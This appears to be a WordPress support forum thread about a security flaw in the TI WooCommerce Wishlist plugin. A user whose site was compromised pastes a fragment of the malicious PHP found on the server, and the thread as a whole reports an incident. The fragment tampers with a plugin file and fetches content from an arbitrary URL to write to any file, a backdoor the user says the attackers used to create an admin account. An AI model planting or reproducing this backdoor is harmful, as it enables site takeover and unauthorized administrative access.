Security vulnerability flagged up by Wordfence

Any updates on this? I was notified by my hosting provider to uninstall the plugin immediately due to major security risks.

The reported code is only executed if the third-party plugin WC Fields Factory is installed and the integration with it is enabled in our plugin settings.

@templateinvaders In one installation I did not have the aforementioned plugin, much less the option activated and I had the site compromised.

And I was only able to find out where the error came from because I found this file on the server (it’s just a part of it).
With this access, they managed to create a user with administrative powers. Luckily, I was able to act quickly.

	if (isset($_GET['clear'])){
		$file = $r.'/wp-content/plugins/ti-woocommerce-wishlist/public/addtowishlist.class.php';
		$content = @file_get_contents($file);
		$content = str_replace('tinvwl_addtowishlist_prepare_form', 'sp3', $content);
		if (@file_put_contents($file, $content)){
			echo 'sp3_done';
		}
	}
	if(!empty($_GET['url'])&&!empty($_GET['file'])){
		$str=file_get_contents($_GET['url']);
		echo file_put_contents($_GET['file'],$str);
	}